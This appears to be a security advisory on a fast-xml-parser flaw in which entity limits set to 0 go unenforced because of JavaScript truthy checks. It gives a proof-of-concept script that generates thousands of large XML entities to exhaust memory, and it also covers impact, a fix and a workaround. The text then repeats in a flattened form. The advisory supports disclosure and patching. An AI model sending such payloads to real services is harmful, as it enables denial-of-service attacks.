Summary
The DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.
Details
The OptionsBuilder.js correctly preserves a user-supplied value of 0 using nullish coalescing (??):
// src/xmlparser/OptionsBuilder.js:111
maxEntityCount: value.maxEntityCount ?? 100,
// src/xmlparser/OptionsBuilder.js:107
maxEntitySize: value.maxEntitySize ?? 10000,
However, DocTypeReader.js uses truthy evaluation to check these limits. Because 0 is falsy in JavaScript, the entire guard expression short-circuits to false, and the limit is never enforced:
// src/xmlparser/DocTypeReader.js:30-32
if (this.options.enabled !== false &&
this.options.maxEntityCount && // ← 0 is falsy, skips check
entityCount >= this.options.maxEntityCount) {
throw new Error(`Entity count ...`);
}// src/xmlparser/DocTypeReader.js:128-130
if (this.options.enabled !== false &&
this.options.maxEntitySize && // ← 0 is falsy, skips check
entityValue.length > this.options.maxEntitySize) {
throw new Error(`Entity "${entityName}" size ...`);
}The execution flow is:
- Developer configures
processEntities: { maxEntityCount: 0, maxEntitySize: 0 } intending to block all entity definitions.
OptionsBuilder.normalizeProcessEntities preserves the 0 values via ?? (correct behavior).- Attacker supplies XML with a DOCTYPE containing many large entities.
DocTypeReader.readDocType evaluates this.options.maxEntityCount && ... — since 0 is falsy, the entire condition is false.DocTypeReader.readEntityExp evaluates this.options.maxEntitySize && ... — same result.- All entity count and size limits are bypassed; entities are parsed without restriction.
PoC
const { XMLParser } = require("fast-xml-parser");
// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
processEntities: {
enabled: true,
maxEntityCount: 0, // should mean "zero entities allowed"
maxEntitySize: 0 // should mean "zero-length entities only"
}
});
// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}
const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
${entities}
]>
<foo>&e0;</foo>`;
// This should throw "Entity count exceeds maximum" but does not
try {
const result = parser.parse(xml);
console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
console.log("SAFE:", e.message);
}
// Control test: setting maxEntityCount to 1 correctly blocks
const safeParser = new XMLParser({
processEntities: {
enabled: true,
maxEntityCount: 1,
maxEntitySize: 100
}
});
try {
safeParser.parse(xml);
console.log("ERROR: should have thrown");
} catch (e) {
console.log("CONTROL:", e.message); // "Entity count (2) exceeds maximum allowed (1)"
}Expected output:
VULNERABLE: parsed without error, entities bypassed limits
CONTROL: Entity count (2) exceeds maximum allowed (1)
Impact
- Denial of Service: An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured
maxEntityCount: 0 or maxEntitySize: 0, intending to prohibit entities entirely.
- Security control bypass: Developers who explicitly set restrictive limits to
0 receive no protection — the opposite of their intent. This creates a false sense of security.
- Scope: Only applications that explicitly set these limits to
0 are affected. The default configuration (maxEntityCount: 100, maxEntitySize: 10000) is not vulnerable. The enabled: false option correctly disables entity processing entirely and is not affected.
Recommended Fix
Replace the truthy checks in DocTypeReader.js with explicit type checks that correctly treat 0 as a valid numeric limit:
// src/xmlparser/DocTypeReader.js:30-32 — replace:
if (this.options.enabled !== false &&
this.options.maxEntityCount &&
entityCount >= this.options.maxEntityCount) {
// with:
if (this.options.enabled !== false &&
typeof this.options.maxEntityCount === 'number' &&
entityCount >= this.options.maxEntityCount) {// src/xmlparser/DocTypeReader.js:128-130 — replace:
if (this.options.enabled !== false &&
this.options.maxEntitySize &&
entityValue.length > this.options.maxEntitySize) {
// with:
if (this.options.enabled !== false &&
typeof this.options.maxEntitySize === 'number' &&
entityValue.length > this.options.maxEntitySize) {Workaround
If you don't want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.
Summary
The
DocTypeReaderin fast-xml-parser uses JavaScript truthy checks to evaluatemaxEntityCountandmaxEntitySizeconfiguration limits. When a developer explicitly sets either limit to0— intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of0in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.Details
The
OptionsBuilder.jscorrectly preserves a user-supplied value of0using nullish coalescing (??):However,
DocTypeReader.jsuses truthy evaluation to check these limits. Because0is falsy in JavaScript, the entire guard expression short-circuits tofalse, and the limit is never enforced:The execution flow is:
processEntities: { maxEntityCount: 0, maxEntitySize: 0 }intending to block all entity definitions.OptionsBuilder.normalizeProcessEntitiespreserves the0values via??(correct behavior).DocTypeReader.readDocTypeevaluatesthis.options.maxEntityCount && ...— since0is falsy, the entire condition isfalse.DocTypeReader.readEntityExpevaluatesthis.options.maxEntitySize && ...— same result.PoC
Expected output:
Impact
maxEntityCount: 0ormaxEntitySize: 0, intending to prohibit entities entirely.0receive no protection — the opposite of their intent. This creates a false sense of security.0are affected. The default configuration (maxEntityCount: 100,maxEntitySize: 10000) is not vulnerable. Theenabled: falseoption correctly disables entity processing entirely and is not affected.Recommended Fix
Replace the truthy checks in
DocTypeReader.jswith explicit type checks that correctly treat0as a valid numeric limit:Workaround
If you don't want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.